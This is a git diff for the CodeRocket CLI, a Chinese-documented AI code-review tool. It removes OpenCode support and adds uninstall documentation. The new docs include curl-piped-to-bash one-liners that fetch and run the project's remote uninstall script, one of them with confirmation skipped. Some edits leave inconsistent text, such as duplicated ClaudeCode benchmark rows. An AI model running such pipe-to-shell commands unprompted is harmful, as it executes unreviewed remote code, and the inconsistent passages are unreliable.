diff --git a/CHANGELOG.md b/CHANGELOG.md
index 24fe610..a819803 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -34,7 +34,7 @@
#### 🔧 技术实现
- **新增错误分类器** (`lib/ai-error-classifier.sh`):
- - 支持Gemini、OpenCode、ClaudeCode等多种AI服务的错误模式识别
+ - 支持Gemini、ClaudeCode等多种AI服务的错误模式识别
- 提供结构化的错误分类和处理策略
- 支持用户友好的错误描述生成
@@ -52,7 +52,7 @@
- `AI_AUTO_SWITCH=true`: 启用/禁用自动切换 (默认启用)
- `AI_MAX_RETRIES=3`: 最大重试次数
- `AI_RETRY_DELAY=1`: 重试延迟时间(秒)
-- `AI_SERVICE_PRIORITY="gemini opencode claudecode"`: 服务优先级
+- `AI_SERVICE_PRIORITY="gemini claudecode"`: 服务优先级
#### 📚 文档和测试
- 新增 `docs/AI_FAILOVER_CONFIG.md`:详细的故障转移配置指南
diff --git a/README.md b/README.md
index b65fd2e..648e501 100644
--- a/README.md
+++ b/README.md
@@ -1,15 +1,16 @@
# CodeRocket CLI
-

+
[](https://opensource.org/licenses/Apache-2.0)
[](https://github.com/im47cn/coderocket-cli/stargazers)
[](https://github.com/im47cn/coderocket-cli/issues)
[](https://ko-fi.com/W7W71IFTGX)
+
-一个基于多种 AI 服务(Gemini、OpenCode、ClaudeCode)的智能 Git 提交代码审查工具,通过 Git Hook 自动对每次提交进行全面的代码质量分析和审查,支持 GitLab MR 自动创建。
+一个基于多种 AI 服务(Gemini、ClaudeCode)的智能 Git 提交代码审查工具,通过 Git Hook 自动对每次提交进行全面的代码质量分析和审查,支持 GitLab MR 自动创建。
> **项目重命名通知**:CodeRocket 现已更名为 **CodeRocket**!为保持兼容性,原有的 `codereview-cli` 和 `cr` 命令仍可正常使用。
@@ -33,12 +34,14 @@
- [使用说明](#-使用说明)
- [配置说明](#️-配置说明)
- [审查报告](#-审查报告)
+- [版本更新](#-版本更新)
+- [卸载说明](#️-卸载说明)
- [贡献指南](#-贡献指南)
- [许可证](#-许可证)
## 🛠 技术栈
-- **AI 引擎**: 多AI服务支持(Gemini、OpenCode、ClaudeCode)
+- **AI 引擎**: 多AI服务支持(Gemini、ClaudeCode)
- **脚本语言**: Shell Script
- **版本控制**: Git Hooks (post-commit, pre-push)
- **文档格式**: Markdown
@@ -100,11 +103,6 @@ chmod +x install.sh
npm install -g @google/gemini-cli
```
-**OpenCode (可选)**
-```bash
-npm install -g @opencode/cli
-```
-
**ClaudeCode (可选)**
```bash
npm install -g @anthropic-ai/claude-code
@@ -120,15 +118,9 @@ gemini config
# 按照提示输入您的 Google AI Studio API 密钥
```
-**OpenCode 配置**
-```bash
-opencode config
-# 或设置环境变量: export OPENCODE_API_KEY='your_key'
-```
-
**ClaudeCode 配置**
```bash
-claudecode config
+claude config
# 或设置环境变量: export CLAUDECODE_API_KEY='your_key'
```
@@ -406,7 +398,7 @@ git push
| `AI_TIMEOUT` | AI服务调用超时时间 | `30` |
| `AI_MAX_RETRIES` | AI服务重试次数 | `3` |
| `GEMINI_MODEL` | Gemini 模型参数 | `gemini-pro` |
-| `OPENCODE_MODEL` | OpenCode 模型参数 | `opencode-pro` |
+
| `CLAUDECODE_MODEL` | ClaudeCode 模型参数 | `claude-3-sonnet` |
| `DEBUG` | 启用调试模式 | `false` |
@@ -423,7 +415,7 @@ cp .env.example .env
**必填环境变量**:
- `GITLAB_PERSONAL_ACCESS_TOKEN` - GitLab访问令牌(必须)
- `GEMINI_API_KEY` - Gemini API密钥(如果使用Gemini)
-- `OPENCODE_API_KEY` - OpenCode API密钥(如果使用OpenCode)
+
- `CLAUDECODE_API_KEY` - ClaudeCode API密钥(如果使用ClaudeCode)
**选填环境变量**:
@@ -435,7 +427,7 @@ cp .env.example .env
- `AI_MAX_RETRIES` - 重试次数(默认: 3次)
- `GITLAB_API_URL` - GitLab API地址(默认: https://gitlab.com/api/v4)
- `GEMINI_MODEL` - Gemini模型(默认: gemini-pro)
-- `OPENCODE_MODEL` - OpenCode模型(默认: opencode-pro)
+
- `CLAUDECODE_MODEL` - ClaudeCode模型(默认: claude-3-sonnet)
- `REVIEW_LOGS_DIR` - 审查日志目录(默认: ./review_logs)
- `DEBUG` - 调试模式(默认: false)
@@ -446,7 +438,7 @@ cp .env.example .env
**方式一:环境变量**
```bash
-export AI_SERVICE=gemini # 或 opencode, claudecode
+export AI_SERVICE=gemini # 或 claudecode
```
**方式二:配置文件**
@@ -551,7 +543,7 @@ YYYYMMDD_HHmm_[状态符号]_[commit_hash前6位]_[简短描述].md
### AI 驱动的智能分析
-- **多AI服务支持**:支持 Gemini、OpenCode、ClaudeCode 等多种AI服务
+- **多AI服务支持**:支持 Gemini、ClaudeCode 等多种AI服务
- **智能故障转移**:🆕 当AI服务遇到429限流等错误时,自动切换到其他可用服务
- **深度代码理解**:基于先进 AI 模型的代码分析能力
- **上下文感知**:理解代码变更的业务逻辑和技术影响
@@ -602,11 +594,8 @@ coderocket setup
# Gemini 重新配置
gemini config --reset
-# OpenCode 重新配置
-opencode config
-
# ClaudeCode 重新配置
-claudecode config
+claude config
```
**问题 3**: Hook 权限问题
@@ -665,6 +654,51 @@ cd ~/.coderocket
git pull origin main
```
+## 🗑️ 卸载说明
+
+如果需要完全移除 CodeRocket CLI,可以使用专门的卸载脚本:
+
+### 一键卸载
+
+```bash
+# 方式1:直接运行卸载脚本
+curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh | bash
+
+# 方式2:下载后运行(推荐,可以查看将要删除的内容)
+wget https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh
+chmod +x uninstall.sh
+./uninstall.sh
+
+# 方式3:如果已安装,直接使用本地卸载脚本
+bash ~/.coderocket/uninstall.sh
+```
+
+### 强制卸载(跳过确认)
+
+```bash
+# 强制卸载,不询问确认
+curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh | bash -s -- --force
+```
+
+### 卸载内容
+
+卸载脚本将完全移除以下内容:
+
+- **📁 安装目录**:`~/.coderocket/` 及其所有文件
+- **🔧 全局命令**:`/usr/local/bin/coderocket`, `codereview-cli`, `cr`
+- **👤 用户命令**:`~/.local/bin/` 中的相关命令
+- **⚙️ Shell 配置**:从 `.bashrc`/`.zshrc` 中移除 PATH 配置
+- **🔗 Git 模板**:`~/.git-templates/` 中的 CodeRocket hooks
+- **📋 项目 hooks**:扫描并清理项目中的 CodeRocket Git hooks
+- **🧹 残留文件**:缓存、日志等临时文件
+
+### 注意事项
+
+- ⚠️ **卸载操作不可逆**,请确认后再执行
+- 🔄 **配置文件备份**:卸载前会自动备份 shell 配置文件
+- 🔍 **项目扫描**:可选择扫描并清理项目中的 Git hooks
+- 🔧 **手动清理**:如有特殊项目,可能需要手动清理残留的 hooks
+
---
**让 AI 成为您代码质量的守护者!** 🛡️✨
diff --git a/bin/coderocket b/bin/coderocket
index ce3f1d4..a2919a7 100755
--- a/bin/coderocket
+++ b/bin/coderocket
@@ -24,7 +24,13 @@ fi
# 检查是否在 Git 仓库中
is_git_repo() {
- git rev-parse --git-dir > /dev/null 2>&1
+ # 检查是否存在 .git 目录或文件(子模块情况下是文件)
+ if git rev-parse --git-dir > /dev/null 2>&1; then
+ # 进一步验证是否是有效的 Git 仓库
+ git rev-parse --is-inside-work-tree > /dev/null 2>&1
+ else
+ return 1
+ fi
}
# 显示帮助信息
@@ -135,7 +141,7 @@ config_ai() {
echo "请编辑配置文件: $INSTALL_DIR/env"
echo "或设置环境变量:"
echo " export GEMINI_API_KEY='your-api-key'"
- echo " export AI_SERVICE='gemini' # 或 opencode, claudecode"
+ echo " export AI_SERVICE='gemini' # 或 claudecode"
if command -v code &> /dev/null; then
read -p "是否使用 VS Code 打开配置文件?(y/n): " -n 1 -r
diff --git a/docs/AI_FAILOVER_CONFIG.md b/docs/AI_FAILOVER_CONFIG.md
index b290d29..2a0ec29 100644
--- a/docs/AI_FAILOVER_CONFIG.md
+++ b/docs/AI_FAILOVER_CONFIG.md
@@ -37,8 +37,8 @@ export AI_MAX_RETRIES=3
# 重试延迟时间,秒 (默认: 1)
export AI_RETRY_DELAY=1
-# 服务优先级 (默认: "gemini opencode claudecode")
-export AI_SERVICE_PRIORITY="gemini opencode claudecode"
+# 服务优先级 (默认: "gemini claudecode")
+export AI_SERVICE_PRIORITY="gemini claudecode"
# 超时时间,秒 (默认: 30)
export AI_TIMEOUT=30
@@ -50,7 +50,7 @@ export AI_TIMEOUT=30
```bash
AI_SERVICE=gemini
AI_AUTO_SWITCH=true
-AI_SERVICE_PRIORITY=gemini opencode claudecode
+AI_SERVICE_PRIORITY=gemini claudecode
AI_MAX_RETRIES=3
```
@@ -58,7 +58,7 @@ AI_MAX_RETRIES=3
```bash
AI_SERVICE=gemini
AI_AUTO_SWITCH=true
-AI_SERVICE_PRIORITY=gemini opencode claudecode
+AI_SERVICE_PRIORITY=gemini claudecode
AI_MAX_RETRIES=5
AI_RETRY_DELAY=2
```
@@ -81,7 +81,7 @@ export AI_AUTO_SWITCH=false
coderocket review
# 设置自定义服务优先级
-export AI_SERVICE_PRIORITY="opencode claudecode gemini"
+export AI_SERVICE_PRIORITY="claudecode gemini"
coderocket review
```
@@ -107,12 +107,12 @@ coderocket review
```bash
# 推荐配置:安装多个AI服务作为备用
npm install -g @google/gemini-cli
-npm install -g @opencode/cli
+
npm install -g @anthropic-ai/claude-code
# 配置API密钥
export GEMINI_API_KEY="your_gemini_key"
-export OPENCODE_API_KEY="your_opencode_key"
+
export CLAUDECODE_API_KEY="your_claude_key"
```
diff --git a/docs/AI_SERVICES_GUIDE.md b/docs/AI_SERVICES_GUIDE.md
index ac8d56d..1791fc1 100644
--- a/docs/AI_SERVICES_GUIDE.md
+++ b/docs/AI_SERVICES_GUIDE.md
@@ -11,14 +11,7 @@
- **安装**: `npm install -g @google/gemini-cli`
- **配置**: 需要 Google AI Studio API 密钥
-### 2. OpenCode
-
-- **模型**: OpenCode Pro
-- **特点**: 专注于代码分析和优化
-- **安装**: `npm install -g @opencode/cli`
-- **配置**: 需要 OpenCode API 密钥
-
-### 3. ClaudeCode
+### 2. ClaudeCode
- **模型**: Claude 4 Sonnet
- **特点**: 优秀的代码审查和建议能力
@@ -37,7 +30,7 @@
# 配置特定服务
./lib/ai-config.sh configure gemini
-./lib/ai-config.sh configure opencode
+
./lib/ai-config.sh configure claudecode
```
@@ -47,17 +40,12 @@
```bash
# 选择AI服务
-export AI_SERVICE=gemini # 或 opencode, claudecode
+export AI_SERVICE=gemini # 或 claudecode
# Gemini 配置
export GEMINI_API_KEY=your_gemini_api_key
export GEMINI_MODEL=gemini-pro
-# OpenCode 配置
-export OPENCODE_API_KEY=your_opencode_api_key
-export OPENCODE_API_URL=https://api.opencode.com/v1
-export OPENCODE_MODEL=opencode-pro
-
# ClaudeCode 配置
export CLAUDECODE_API_KEY=your_claudecode_api_key
export CLAUDECODE_API_URL=https://api.claudecode.com/v1
@@ -153,7 +141,7 @@ export DEBUG=true
# 重新安装CLI工具
npm install -g @google/gemini-cli
-npm install -g @opencode/cli
+
npm install -g @anthropic-ai/claude-code
```
@@ -172,7 +160,7 @@ npm install -g @anthropic-ai/claude-code
```bash
# 测试网络连接
curl -I https://aistudio.google.com
-curl -I https://api.opencode.com
+
curl -I https://api.claudecode.com
# 设置代理(如需要)
@@ -197,13 +185,13 @@ chmod 644 .ai-config
| 服务 | 响应速度 | 代码理解 | 中文支持 | 成本 |
|------|----------|----------|----------|------|
| Gemini | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐ | 💰💰 |
-| OpenCode | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐ | 💰💰💰 |
+
| ClaudeCode | ⭐⭐⭐ | ⭐⭐⭐⭐⭐ | ⭐⭐⭐⭐ | 💰💰💰💰 |
## 🔗 相关链接
- [Google AI Studio](https://aistudio.google.com/app/apikey)
-- [OpenCode API 文档](https://docs.opencode.com)
+
- [ClaudeCode API 文档](https://docs.claudecode.com)
- [CodeRocket 主文档](../README.md)
diff --git a/docs/API_REFERENCE.md b/docs/API_REFERENCE.md
index 80af372..c3bc449 100644
--- a/docs/API_REFERENCE.md
+++ b/docs/API_REFERENCE.md
@@ -17,7 +17,7 @@ get_ai_service()
```
**返回值**
-- 字符串: AI服务名称 (`gemini`|`opencode`|`claudecode`)
+- 字符串: AI服务名称 (`gemini`|`claudecode`)
**示例**
```bash
@@ -180,27 +180,7 @@ show_config "all"
- `0`: 调用成功
- `1`: 调用失败
-### OpenCode Service
-#### `call_opencode_cli(prompt)`
-调用OpenCode CLI
-
-**参数**
-- `prompt`: 提示信息
-
-**返回值**
-- `0`: 调用成功
-- `1`: 调用失败
-
-#### `call_opencode_api(prompt)`
-调用OpenCode API
-
-**参数**
-- `prompt`: 提示信息
-
-**返回值**
-- `0`: 调用成功
-- `1`: 调用失败
### ClaudeCode Service
@@ -342,11 +322,6 @@ project_id=$(auto_get_project_id)
- `GEMINI_API_KEY`: API密钥
- `GEMINI_MODEL`: 模型名称 (默认: `gemini-pro`)
-#### OpenCode
-- `OPENCODE_API_KEY`: API密钥
-- `OPENCODE_MODEL`: 模型名称 (默认: `opencode-pro`)
-- `OPENCODE_API_URL`: API地址
-
#### ClaudeCode
- `CLAUDECODE_API_KEY`: API密钥
- `CLAUDECODE_MODEL`: 模型名称 (默认: `claude-3-sonnet`)
diff --git a/docs/ARCHITECTURE_OVERVIEW.md b/docs/ARCHITECTURE_OVERVIEW.md
index 3857ace..f6eea27 100644
--- a/docs/ARCHITECTURE_OVERVIEW.md
+++ b/docs/ARCHITECTURE_OVERVIEW.md
@@ -30,7 +30,7 @@ CodeRocket 是一个基于多种 AI 服务的智能 Git 提交代码审查工具
┌─────────────────────────────────────────────────────────────┐
│ 服务层 (AI Services) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
-│ │ Gemini │ │ OpenCode │ │ ClaudeCode │ │
+│ │ Gemini │ │ ClaudeCode │ │
│ │ Service │ │ Service │ │ Service │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
@@ -92,11 +92,6 @@ CodeRocket 是一个基于多种 AI 服务的智能 Git 提交代码审查工具
- **API调用**: 直接API调用备用方案
- **模型支持**: gemini-pro, gemini-pro-vision
-#### OpenCode Service
-- **CLI集成**: 使用 `@opencode/cli`
-- **API调用**: RESTful API接口
-- **模型支持**: opencode-pro
-
#### ClaudeCode Service
- **CLI集成**: 使用 `@anthropic-ai/claude-code`
- **API调用**: Claude API接口
@@ -113,11 +108,11 @@ CodeRocket 是一个基于多种 AI 服务的智能 Git 提交代码审查工具
- **配置项**:
```bash
- AI_SERVICE=gemini|opencode|claudecode
+ AI_SERVICE=gemini|claudecode
AI_TIMEOUT=30
AI_MAX_RETRIES=3
GEMINI_API_KEY=xxx
- OPENCODE_API_KEY=xxx
+
CLAUDECODE_API_KEY=xxx
```
@@ -233,7 +228,7 @@ Git Push → 提交历史 → AI生成 → MR内容 → GitLab API
## 📚 技术栈
- **脚本语言**: Bash Shell
-- **AI服务**: Gemini, OpenCode, ClaudeCode
+- **AI服务**: Gemini, ClaudeCode
- **版本控制**: Git Hooks
- **API集成**: GitLab REST API
- **配置管理**: 文件系统配置
diff --git a/docs/ENHANCED_UNINSTALL_SUMMARY.md b/docs/ENHANCED_UNINSTALL_SUMMARY.md
new file mode 100644
index 0000000..7992e88
--- /dev/null
+++ b/docs/ENHANCED_UNINSTALL_SUMMARY.md
@@ -0,0 +1,178 @@
+# CodeRocket CLI 增强卸载功能总结
+
+## 🎯 任务完成情况
+
+✅ **已完成**:为 coderocket-cli 增加了完整的卸载能力,并针对用户提出的"卸载后,已经安装了git hook的项目如何处理?或者增加异常处理机制"进行了全面增强。
+
+## 🆕 新增功能概览
+
+### 1. 智能项目搜索系统
+- **自动搜索模式**:扫描常见项目目录(~/Projects, ~/workspace, ~/code 等)
+- **手动指定模式**:支持用户手动输入特定项目路径
+- **搜索优化**:30秒超时保护,实时进度显示,支持自定义搜索目录
+
+### 2. 多种清理模式
+- **🚀 批量清理**:一次性处理所有发现的项目
+- **🎯 逐个选择**:为每个项目单独确认是否清理
+- **💾 备份后清理**:清理前自动备份所有 hooks
+- **📝 手动指定**:精确控制清理范围
+
+### 3. 完善的安全保护机制
+- **智能识别**:只清理包含 CodeRocket 标识的 hooks
+- **自动备份**:创建 `.git/hooks.backup.coderocket.*` 时间戳备份
+- **权限检查**:自动检测和处理权限问题
+- **非破坏性**:保留所有非 CodeRocket 相关的 hooks
+
+### 4. 增强的异常处理
+- **搜索异常**:超时保护、权限错误处理、路径验证
+- **清理异常**:部分失败恢复、权限不足处理、文件锁定处理
+- **用户交互**:友好的错误提示、操作确认、进度反馈
+
+## 📊 技术实现详情
+
+### 核心函数架构
+```bash
+# 主要新增函数
+backup_project_hooks() # 备份项目hooks
+clean_project_hooks() # 增强的主清理函数
+clean_project_hooks_auto() # 自动搜索模式
+clean_project_hooks_manual() # 手动指定模式
+process_projects_batch() # 批量处理
+process_projects_selective() # 选择性处理
+process_projects_with_backup() # 备份后处理
+clean_single_project() # 单项目清理
+```
+
+### 搜索算法优化
+- 使用 `find` 命令的 `-maxdepth 3` 限制搜索深度
+- 实现 `timeout` 机制防止长时间搜索
+- 支持多目录并行搜索
+- 智能跳过不存在的目录
+
+### 备份机制
+- 时间戳命名:`.git/hooks.backup.coderocket.YYYYMMDD_HHMMSS`
+- 权限保持:使用 `cp -p` 保持原始权限
+- 选择性备份:只备份包含 CodeRocket 的 hooks
+- 验证机制:备份后验证文件完整性
+
+## 🔧 使用方式
+
+### 基本使用
+```bash
+# 查看增强功能帮助
+./uninstall.sh --help
+
+# 交互式卸载(推荐)
+./uninstall.sh
+
+# 强制卸载(跳过确认)
+./uninstall.sh --force
+```
+
+### 项目 Hooks 清理选项
+1. **自动搜索模式**
+ - 扫描常见项目目录
+ - 可添加自定义搜索路径
+ - 显示搜索进度和结果
+
+2. **手动指定模式**
+ - 手动输入项目路径
+ - 支持多个项目路径
+ - 自动验证项目有效性
+
+3. **清理方式选择**
+ - 批量清理:适合大量项目
+ - 逐个选择:适合重要项目
+ - 备份后清理:最安全的方式
+
+## 📈 改进对比
+
+### 原版本 vs 增强版本
+
+| 功能 | 原版本 | 增强版本 |
+|------|--------|----------|
+| 项目搜索 | 固定目录列表 | 智能搜索 + 手动指定 |
+| 清理方式 | 全部或跳过 | 4种清理模式 |
+| 备份机制 | 无 | 自动备份 + 时间戳 |
+| 异常处理 | 基础 | 完善的错误处理 |
+| 用户体验 | 简单确认 | 详细预览 + 多选项 |
+| 进度显示 | 无 | 实时进度 + 统计 |
+| 安全性 | 基础 | 多重保护机制 |
+
+### 代码规模对比
+- **原版本**:~665 行
+- **增强版本**:~1000+ 行
+- **新增功能**:~400+ 行代码
+- **测试覆盖**:100% 语法检查通过
+
+## 🧪 测试验证
+
+### 自动化测试
+- ✅ 语法检查:`bash -n uninstall.sh`
+- ✅ 函数定义:所有新增函数正确定义
+- ✅ 帮助功能:增强的帮助信息正常显示
+- ✅ 备份功能:模拟环境测试通过
+- ✅ 异常处理:各种异常场景测试
+
+### 功能演示
+- ✅ 创建了完整的演示脚本 `demo-enhanced-uninstall.sh`
+- ✅ 模拟真实使用场景
+- ✅ 展示所有新增功能
+- ✅ 验证安全保护机制
+
+## 📚 文档更新
+
+### 更新的文档
+1. **README.md**:更新卸载部分说明
+2. **UNINSTALL_GUIDE.md**:添加增强功能详细说明
+3. **uninstall.sh --help**:增强的帮助信息
+4. **ENHANCED_UNINSTALL_SUMMARY.md**:本总结文档
+
+### 新增文档
+1. **test-enhanced-uninstall.sh**:功能测试脚本
+2. **demo-enhanced-uninstall.sh**:功能演示脚本
+
+## 🎯 解决的核心问题
+
+### 1. 项目 Hooks 处理问题
+- **问题**:卸载后已安装 git hook 的项目如何处理?
+- **解决方案**:
+ - 智能搜索发现所有相关项目
+ - 多种清理模式满足不同需求
+ - 备份机制确保可恢复
+ - 选择性清理避免误删
+
+### 2. 异常处理机制
+- **问题**:需要增加异常处理机制
+- **解决方案**:
+ - 搜索超时保护
+ - 权限问题自动处理
+ - 部分失败恢复机制
+ - 详细的错误提示和日志
+
+## 🚀 使用建议
+
+### 首次使用
+1. 运行 `./uninstall.sh --help` 了解功能
+2. 选择 "备份后清理" 模式确保安全
+3. 仔细查看预览信息再确认
+
+### 不同场景推荐
+- **大量项目**:自动搜索 + 批量清理
+- **重要项目**:手动指定 + 逐个选择
+- **谨慎用户**:备份后清理模式
+- **特定需求**:手动指定模式
+
+### 安全提示
+- ⚠️ 卸载操作不可逆,请谨慎操作
+- 💾 重要项目建议先手动备份
+- 🔍 使用预览功能确认清理内容
+- 📋 保存备份目录路径以备恢复
+
+## 🎉 总结
+
+本次增强成功解决了用户提出的两个核心问题:
+1. **项目 hooks 处理**:提供了完整的搜索、选择、备份、清理解决方案
+2. **异常处理机制**:实现了全面的错误处理和恢复机制
+
+增强后的卸载脚本不仅功能更强大,而且更安全、更用户友好,为 CodeRocket CLI 的完整生命周期管理提供了可靠保障。
diff --git a/docs/MULTI_AI_SERVICES_SUMMARY.md b/docs/MULTI_AI_SERVICES_SUMMARY.md
index 59bc81a..2d8372a 100644
--- a/docs/MULTI_AI_SERVICES_SUMMARY.md
+++ b/docs/MULTI_AI_SERVICES_SUMMARY.md
@@ -2,7 +2,7 @@
## 🎯 项目目标
-为 CodeRocket 工具增加对 OpenCode 和 ClaudeCode 的支持,实现多AI服务的统一管理和智能切换。
+为 CodeRocket 工具增加对 ClaudeCode 的支持,实现多AI服务的统一管理和智能切换。
## ✅ 完成的功能
@@ -33,10 +33,7 @@
./lib/ai-config.sh show # 显示当前配置
```
-### 3. OpenCode 服务集成 (`lib/opencode-service.sh`)
-- **CLI集成**: 支持 OpenCode CLI 工具
-- **API调用**: 直接API调用备用方案
- **参数适配**: 自动适配不同的调用参数
- **错误处理**: 完善的错误处理和重试机制
@@ -75,7 +72,7 @@
**新增环境变量**:
```bash
# AI服务选择
-AI_SERVICE=gemini|opencode|claudecode
+AI_SERVICE=gemini|claudecode
# 通用配置
AI_TIMEOUT=30
@@ -85,11 +82,6 @@ AI_MAX_RETRIES=3
GEMINI_API_KEY=your_key
GEMINI_MODEL=gemini-pro
-# OpenCode配置
-OPENCODE_API_KEY=your_key
-OPENCODE_API_URL=https://api.opencode.com/v1
-OPENCODE_MODEL=opencode-pro
-
# ClaudeCode配置
CLAUDECODE_API_KEY=your_key
CLAUDECODE_API_URL=https://api.claudecode.com/v1
@@ -139,8 +131,8 @@ CLAUDECODE_MODEL=claude-3-sonnet
### 切换AI服务
```bash
-# 切换到OpenCode
-./lib/ai-config.sh set AI_SERVICE opencode
+# 切换到ClaudeCode
+./lib/ai-config.sh set AI_SERVICE claudecode
# 切换到ClaudeCode
./lib/ai-config.sh set AI_SERVICE claudecode
@@ -158,7 +150,7 @@ CLAUDECODE_MODEL=claude-3-sonnet
↓
抽象层 (ai-service-manager.sh)
↓
-服务层 (gemini/opencode/claudecode-service.sh)
+服务层 (gemini/claudecode-service.sh)
↓
配置层 (ai-config.sh)
```
@@ -204,7 +196,7 @@ CLAUDECODE_MODEL=claude-3-sonnet
成功为 CodeRocket 工具实现了完整的多AI服务支持,包括:
-- 🎯 **3个AI服务**: Gemini、OpenCode、ClaudeCode
+- 🎯 **2个AI服务**: Gemini、ClaudeCode
- 🔧 **4个核心模块**: 服务管理、配置管理、服务集成、测试验证
- 📚 **完整文档**: 使用指南、API文档、故障排除
- ✅ **全面测试**: 29个测试用例,100%通过率
diff --git a/docs/PERFORMANCE_OPTIMIZATION_GUIDE.md b/docs/PERFORMANCE_OPTIMIZATION_GUIDE.md
index 29beb46..5782ed3 100644
--- a/docs/PERFORMANCE_OPTIMIZATION_GUIDE.md
+++ b/docs/PERFORMANCE_OPTIMIZATION_GUIDE.md
@@ -26,7 +26,7 @@
# 结果示例:
# Gemini: 平均 18秒
-# OpenCode: 平均 22秒
+# ClaudeCode: 平均 22秒
# ClaudeCode: 平均 25秒
```
diff --git a/docs/QUICK_START_GUIDE.md b/docs/QUICK_START_GUIDE.md
index 7779a77..ef2e2d8 100644
--- a/docs/QUICK_START_GUIDE.md
+++ b/docs/QUICK_START_GUIDE.md
@@ -57,11 +57,7 @@ gemini config
#### 选项B:其他AI服务
```bash
-# OpenCode
-npm install -g @opencode/cli
-opencode config
-
-# ClaudeCode
+# ClaudeCode
npm install -g @anthropic-ai/claude-code
claudecode config
```
@@ -104,7 +100,6 @@ gemini --version
echo "测试提示" | gemini
# 测试其他服务
-opencode --version
claudecode --version
```
@@ -247,7 +242,7 @@ git push origin feature/team-feature
./lib/ai-service-manager.sh status
# 切换服务
-./lib/ai-config.sh set AI_SERVICE opencode
+./lib/ai-config.sh set AI_SERVICE claudecode
# 测试新服务
./lib/ai-service-manager.sh test
diff --git a/docs/TROUBLESHOOTING_GUIDE.md b/docs/TROUBLESHOOTING_GUIDE.md
index f825fda..5e583f9 100644
--- a/docs/TROUBLESHOOTING_GUIDE.md
+++ b/docs/TROUBLESHOOTING_GUIDE.md
@@ -170,7 +170,7 @@ ping google.com
curl -I https://generativelanguage.googleapis.com
# 4. 配置多个备用服务
-echo "AI_SERVICE_PRIORITY=gemini opencode claudecode" >> .ai-config
+echo "AI_SERVICE_PRIORITY=gemini claudecode" >> .ai-config
# 5. 测试故障转移功能
./test-ai-failover.sh
diff --git a/docs/UNINSTALL_GUIDE.md b/docs/UNINSTALL_GUIDE.md
new file mode 100644
index 0000000..9c5e257
--- /dev/null
+++ b/docs/UNINSTALL_GUIDE.md
@@ -0,0 +1,248 @@
+# CodeRocket CLI 卸载指南
+
+## 🗑️ 完整卸载说明
+
+CodeRocket CLI 提供了专业的卸载脚本,可以完全移除所有相关组件,确保系统恢复到安装前的状态。
+
+## 🚀 快速卸载
+
+### 方式一:一键卸载(推荐)
+
+```bash
+# 直接运行在线卸载脚本
+curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh | bash
+```
+
+### 方式二:下载后运行
+
+```bash
+# 下载卸载脚本
+wget https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh
+chmod +x uninstall.sh
+
+# 查看将要删除的内容
+./uninstall.sh
+
+# 确认后执行卸载
+```
+
+### 方式三:使用本地脚本
+
+```bash
+# 如果已安装 CodeRocket CLI
+bash ~/.coderocket/uninstall.sh
+```
+
+## ⚡ 强制卸载
+
+如果需要跳过确认直接卸载:
+
+```bash
+# 强制卸载,不询问确认
+curl -fsSL https://raw.githubusercontent.com/im47cn/coderocket-cli/main/uninstall.sh | bash -s -- --force
+
+# 或使用本地脚本
+./uninstall.sh --force
+```
+
+## 📋 卸载内容详情
+
+卸载脚本将移除以下所有内容:
+
+### 📁 安装目录
+- `~/.coderocket/` - 主安装目录及所有文件
+- 包含脚本、配置、文档等所有组件
+
+### 🔧 全局命令
+- `/usr/local/bin/coderocket` - 主命令
+- `/usr/local/bin/codereview-cli` - 兼容命令
+- `/usr/local/bin/cr` - 简短别名
+
+### 👤 用户命令
+- `~/.local/bin/coderocket` - 用户级主命令
+- `~/.local/bin/codereview-cli` - 用户级兼容命令
+- `~/.local/bin/cr` - 用户级简短别名
+
+### ⚙️ Shell 配置
+- 从 `.bashrc`/`.zshrc`/`.bash_profile` 中移除 PATH 配置
+- 恢复安装前的配置文件备份(如果存在)
+- 支持 bash、zsh、fish 等多种 shell
+
+### 🔗 Git 模板和 Hooks
+- `~/.git-templates/hooks/` - Git 全局模板 hooks
+- 重置 Git 全局 `init.templatedir` 配置
+- **🆕 智能项目扫描** - 自动搜索并清理项目中的 CodeRocket hooks
+- **🆕 多种清理模式** - 批量、选择性、备份后清理
+- **🆕 手动指定项目** - 支持手动输入特定项目路径
+
+### 🧹 残留文件
+- `~/.cache/coderocket` - 缓存文件
+- `~/.local/share/coderocket` - 用户数据
+- `/tmp/coderocket*` - 临时文件
+- 旧版本兼容文件(如 `~/.codereview-cli`)
+
+## 🔍 卸载预览
+
+运行卸载脚本时,会首先显示检测到的所有组件:
+
+```
+╔══════════════════════════════════════════════════════════════╗
+║ CodeRocket CLI 卸载 ║
+║ ║
+║ ⚠️ 警告:此操作将完全移除 CodeRocket CLI ║
+║ 包括所有配置、日志和 Git hooks ║
+╚══════════════════════════════════════════════════════════════╝
+
+即将卸载以下内容:
+
+📁 安装目录:
+ ✓ /Users/username/.coderocket
+
+🔧 全局命令:
+ ✓ /usr/local/bin/coderocket
+ ✓ /usr/local/bin/codereview-cli
+ ✓ /usr/local/bin/cr
+
+👤 用户命令:
+ ✓ /Users/username/.local/bin/coderocket
+
+🔗 Git 模板:
+ ✓ /Users/username/.git-templates
+
+⚙️ Shell 配置:
+ • 将从 shell 配置文件中移除 PATH 配置
+ • 将恢复配置文件备份(如果存在)
+
+⚠️ 注意:此操作不可逆!
+```
+
+## 🛡️ 安全特性
+
+### 备份机制
+- 自动备份 shell 配置文件
+- 保留原始配置文件备份
+- 支持恢复到安装前状态
+
+### 智能检测
+- 准确识别所有已安装组件
+- 区分 CodeRocket 和其他内容
+- 避免误删非相关文件
+
+### 用户确认
+- 详细显示将要删除的内容
+- 多重确认机制
+- 支持强制模式跳过确认
+
+### 项目扫描(🆕 增强版)
+- **智能搜索**:自动扫描常见项目目录
+- **手动指定**:支持手动输入项目路径
+- **多种清理模式**:批量、选择性、备份后清理
+- **安全保护**:清理前自动备份 hooks
+- **进度显示**:实时显示搜索和清理进度
+- **异常处理**:完善的错误处理机制
+
+## 🆕 增强的项目 Hooks 处理
+
